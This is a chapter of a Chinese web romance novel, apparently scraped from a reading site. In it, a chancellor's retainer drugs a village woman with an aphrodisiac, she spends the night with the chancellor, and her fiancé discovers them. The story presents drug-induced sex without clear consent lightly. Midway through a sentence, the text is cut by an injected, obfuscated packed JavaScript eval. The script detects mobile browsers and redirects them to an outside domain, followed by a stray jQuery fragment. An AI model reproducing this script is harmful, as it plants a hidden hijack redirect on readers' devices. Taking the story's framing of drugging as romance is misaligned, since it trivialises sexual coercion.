好在很快到达肉铺。
从兰秀娘手中抽回自己的腰带,梅清臣迅速将人横抱起来,跳下马车,踢开房门,将人送到床上,他想离开,却被她缠住,管得住手就管不住那勾上来的腿,还专往下三路去,梅清臣狼狈喘息,见准时机,心下一狠,扯了系床帐的带子,迅速将她的手腕绑住。
如此,梅清臣才得以脱身。
他望了眼春光乍泄的女人,压了压体内的火气,“你等会。”
出来房门稍定神,他叫来敬言。
锐利的目光直直刺向敬言,敬言立马垂下头。
“属下知错,一切都是属下做的,属下不忍心大人后悔,才出此下策,助大人得到那妇人。”
梅清臣眉头紧皱,“我若想得到她,何须你出手。”
他双手负后,神情冷淡,冷睨敬言:“你这些年倒是长了本事,连本相也敢算计。”
敬言只觉得他的眼神像刮刀,他哪里有本事算计大人呢,他那点心计在大人面前,还不是小菜一碟,这一次顶多算他走运。
他跪下认错,心中生悔,难道他会错了意?
他以为大人是对那村妇有感情的,也是,大人贵为相国,她一介乡野村妇,模样好看点而已,粗鲁又浅薄,贪财又好色,哪点能配得上大人,就是做妾也不够格。
却恰在此时,房内传出女人的声音,娇媚酥骨。
“梅郎——”
敬言打了个激灵,不仅没帮上大人的忙,还给大人惹麻烦了。
这女人,不是都要跟董士成成亲了,怎么喊大人的名字!
“你到底下的什么药?”梅清臣冷声质问。
“是属下请袁不疑先生特制的药粉,唯独女子服用如同春药,只能通过阴阳和合方式解除。”
敬言情急之下补救:“若大人不喜,我立即将她那夫君董士成找来?”
“回去自己领罚,五十棍,现在就回,手上的事都交给林平。”梅清臣声音骤然降了几度。
敬言颤了颤,知道大人是真怒了,“可是……”大人的安危……
“我的话你已经不听了。”梅清臣无形之中带了无上威严。
“是,属下领命!”
敬言垂头丧气的离开,也不知道大人要怎么解决那妇人,都怪他,把事情搞砸了。
敬言离开后不久,梅清臣的身前就出现了一个人,隐藏在暗处,看不清脸,单看身形,比敬言要稚嫩几分,还是位少年。
“大人。”
“董士成何在?”
“还在牢里关着。”
“明早再放他回来。”
“是。”
梅清臣站在房门前,眼神孤傲散漫,谁敢当他面下药呢,所以他很清楚是敬言做的,他勾了勾唇,推门而入。
……
兰秀娘痛苦的哼唧了一声,眼睛努力的想睁开却睁不开,想抬抬手臂还痛,忍不住呻吟。
好累,怎么这么累。
身体像是被车轧过。
哪哪都痛。
她努力的抬起胳膊,随意的抓了抓,摸到一片温热的肌肤,带着砂砾般的粗糙感,还会收缩变硬,她忍不住玩了玩,直到耳边传来一声低哑的音色。
“秀娘……”
她的动作暂停了,灵台像是飞来一只蝴蝶,注入了些许意识。
有人。
还是个男人!
她“唰”的睁开了眼睛,床顶的红色喜帐刺目的红,她很熟悉,是董士成布置的婚房,她马上就要跟董士成成亲了。
她已经成亲了?
那旁边的男人是……
顾不得全身的酸痛,她转头看向旁边。
惊天霹雳!
她的胳膊腿正压在一男人身上,男人赤身,俊脸微红,青丝铺了满枕,迤逦秾艳,被糟蹋的不行。
竟然是梅清臣!
“怎么是你!”
她说出话来才发觉嗓子又痛又哑。
低头,她身上却亵衣亵裤完好,但身体的细微处仍印证了一个事实。
她把梅清臣给睡了!
坐牢,吃饭,喝酒,然后就……
她记得自从知道梅清臣做了丞相后心里就很不平衡,甚至动过歪心思,可她想不到自己还真敢啊。
她的道德水平怎么这样低。
那董士成怎么办!
董士成呢?
按照之前定下的日子,她明日就要跟他成亲了呀,在成亲的前一夜,她与前夫在她与董士成的新房里睡了。
兰秀娘的脑袋都转不动了。
她好佩服自己。
还真给梅清臣给睡了,隐约记得她昨晚说了一些虎狼之词,也是她主动的,她怎如此急色!
这毛病真是从小到大的稳定。
她的眸光扫到他露出的上半身,那里现出凌乱的抓痕,连他光洁的下巴都有一道指甲划痕,昨晚她这么猛吗,都说她这个年龄的女人如狼似虎,还真是。
如此,她看他的眼神里竟露出几分愧疚。
“你……”兰秀娘也不知道说什么,支吾半天冒出了后半句:“怎么也不知道拒绝,我都快嫁人了。”
“……”梅清臣被噎了一下。
见占据先机,兰秀娘顺势发起攻击,她不屑的上下扫视他:“来者不拒,这些年看来没少干这事。”
“是太久没干这事才让你得逞,我都说没有了也不放过。”
兰秀娘猛咳。
“你要对我负责。”梅清臣有点冷傲道。
兰秀娘正想回他,楼下一声呼喊打断了他们的谈话。
“秀娘!”
不好,是董士成!
怎么把正主给忘了!
她几乎是从床上弹起来,起来后又将半躺的梅清臣给拽了起来,他原来身上挂着中衣呢,不料她慌乱抓错了地方,一下子弄开了他松垮的系带,衣裳散开。
里面什么也没有,兰秀娘呼吸一滞,低头看了一眼,没有一丝赘肉,宽肩窄臀,有肌肉但并不狰狞,一道长抓痕自下腹蔓延而下。
比以前好像更壮伟了。
兰秀娘吞吞口水,知道这是男人晨起的正常反应。
梅清臣眼带笑意,观察着她的举动。
这种时候,还有心思观景,这很秀娘。
他还好心提醒:“董士成快进来了。”再看下去,怕让她看出变化。
“啊!”兰秀娘低叫一声,赶紧四处搜寻他的藏身处,首先定位到窗户上。
有人比她更在意,先她一步道:“窗户外面是二楼,会摔死。”边说,他便系好了亵衣。
本来兰秀娘还没太在意,可蓦地想起谋杀丞相恐怕会诛九族,赶紧换了地方。
“床底,床底,快点。”
根本无需梅清臣动作,兰秀娘已经一脚踹在他后腿弯逼他跪在地上,他还未着亵裤,露出两条笔直的长腿,很白,晃的她眼都花了,随即她粗鲁的将他往里推,梅清臣随她扒拉了两下,无奈坐在地上,“不必躲藏,我出面处理,不会有事。”
“你是不会有事,我会有事,你让我如何跟他交代。”
兰秀娘凶巴巴的低吼一句,甩了亵裤在他身上,防止被他影响,将他的头按下,连推带踹的想往床底下弄,奈何床底太小,他又大,根本推不进去。
兰秀娘急的狠狠的扭了他腰上的肉一把,梅清臣“嘶”了一声,站了起来,一把握住了她的腰,抽了床里的儒衫,替她拢好。
“你不要着急,我会解决。”
怎么解决,她还没问出口,忽的脑后有一只大掌托住了她,紧接着面前一张脸突然放大,他歪头吻了上来,吮的密实。
兰秀娘瞪大了双眼,这种时候了,他……
此时此刻,房门“哐”的一声从外面打开。
兰秀娘想去看,奈何后脑勺被固定,她不能转头,但她知道是谁。
董士成。
他来了。
他会看到在他们即将成亲的婚房里,她被裤子都不穿的男人抱在怀里,被按住亲。
眼泪大颗往下掉,兰秀娘浑身颤抖。
怎么办。
董士成见到这一幕眼前一黑,好一会才恢复光明。
能再看见的时候,他已抄起门边那把杌子,一步一步向他们走来,确切的说是梅清臣。
梅清臣已经放开了她,见董士成过来,他毫不犹豫的将她拉到身后,直面向他,声音冷淡的喊了他的名字。
“董士成。”
董士成的动作停了一瞬,他怎么知道他的名字呢,而且还有点眼熟,好像在哪里见过。
但这不重要了,因为他马上就快从人世间消失。
兰秀娘也看到了董士成的动作,她眼皮一跳,心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533283|186433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里第一个想法是梅清臣不能死,他是丞相若死了他们都活不了。
“不要!”她大喊一声。
可她的声音催化了董士成的愤怒,他猛地快走几步,杌子被抡起直直向梅清臣的脑袋砸去。
梅清臣站着不动,冷眼旁观这一切。
别!
兰秀娘眼睁睁看着梧桐木的杌子与梅清臣的脑袋慢慢靠近,她吓得闭上眼睛。
可耳边一声刀剑铮鸣,一个重物掉在地上,睁眼,她见到梅清臣的眼前不知何时出现了一个黑色劲装少年,头系黑色抹额,手拿一把剑,地上是被劈成两半的杌子。
梅清臣拢好衣裳,即便是穿着一身亵衣,披散着头发,也没失了气势。
“董士成,我是梅清臣,秀娘的相公,我回来了。”
董士成赤红的目光从地上的杌子慢慢抬升,停留在梅清臣身上。
梅清臣,一个久远的名字。
他还记起来为什么眼熟,那日在肉铺他见过他。
原来他早回来了。
所以他与秀娘是早就联系了么。
董士成看向兰秀娘。
他此刻像是蓄势待发的豹子,充满了力量,兰秀娘被他的眼神看的一哆嗦,忍不住后退了两步。
“士成,我、我也不知道怎么回事,昨日我喝多了,我……”她编不下去了。
“啊——”
董士成忽然大叫一声,如同狮吼,兰秀娘吓得瘫软在地,呆呆看着他。
他一跺脚,猛地抡起拳头向梅清臣攻去,自有人与他周旋,梅清臣纹丝不动。
董士成十分勇猛,但也不敌训练有素的相府侍卫,没多久就被制服,又出现了两个黑衣人,拧住他的肩膀。
董士成冲着他们“啊啊”狂叫,却也不能再动。
好可怕,兰秀娘哆哆嗦嗦的不敢看他,她愧疚自己生出贪慕丞相夫人的想法,眼珠连线的往下掉,她泪眼婆娑的看着他,小声唤了声“士成”。
董士成双目赤红,“秀娘,你答应过我要嫁给了,明日我们就成亲了,秀娘,你答应我了!”
“士成对不起,我……”兰秀娘看了眼梅清臣,他像是一个旁观者一样,不带感情的注视着他们。
“我们入狱是他救我们出来的,我喝多了,他送我回来,我迷迷糊糊什么都不知道,然后就、就……士成,我真的已经打算嫁给你了。”
忽的一道冷光瞥了过来,兰秀娘没敢抬头看,顶着压力继续道:“可发生这种事,不管我有没有意识,都是我的错,我配不上你。”
“秀娘,我不在乎,我……”
“可是我在乎,士成,你是非常好的男儿,我已经……聘礼我会退还给你的。”
“秀娘……”董士成绝望的看着她。
兰秀娘收起眼泪,粲然一笑,“这些年,多谢你的照顾,我兰秀娘永远记在心里,往后有需要我兰秀娘的地方,士成哥告诉我就行。”
“我先走了。”
兰秀娘赶忙逃离现场。
董士成像是被抽干了力气,再无力挣扎,垂下了头。
黑衣侍卫从房间隐退,只剩下了梅清臣与董士成。
董士成眼神空洞的坐在地上,颓废至极。
“董士成,我记得你,我跟秀娘成亲那日,你在人群里捏着把簪子,迟迟没有入席。”
梅清臣继续道:“不管如何,这些年你照顾她们母子,我很感恩,这一千两算是谢礼。”
他递出一张银票。
“拿走你的臭钱,我不稀罕,梅清臣,你算什么男人,七年前你销声匿迹,七年后又突然出现,还在我们的婚房欺辱她,你就算强行让她回到你身边,她也不会爱你。”
“不爱我,难道就会爱你么,你做山匪劫人钱财的事瞒着她,可瞒不住我。”梅清臣冷睇他。
董士成呼吸变得急促,猛地抬头看他。
“董士成,念在你现在金盆洗手,我不再追究,但是秀娘,必然不能再跟你,你空有一身蛮力,护不了她,这次若没我,你难道还真想带她去亡命天涯,过每日提心吊胆的日子?你若真喜欢她,为何不为她着想。”
梅清臣向外面走去,到了门口站停。
“别忘了,在你们成亲之前,我们依然是夫妻,只要有我在,我就是她唯一的相公,董士成,她没有对不起你,若你恨,就恨我吧。”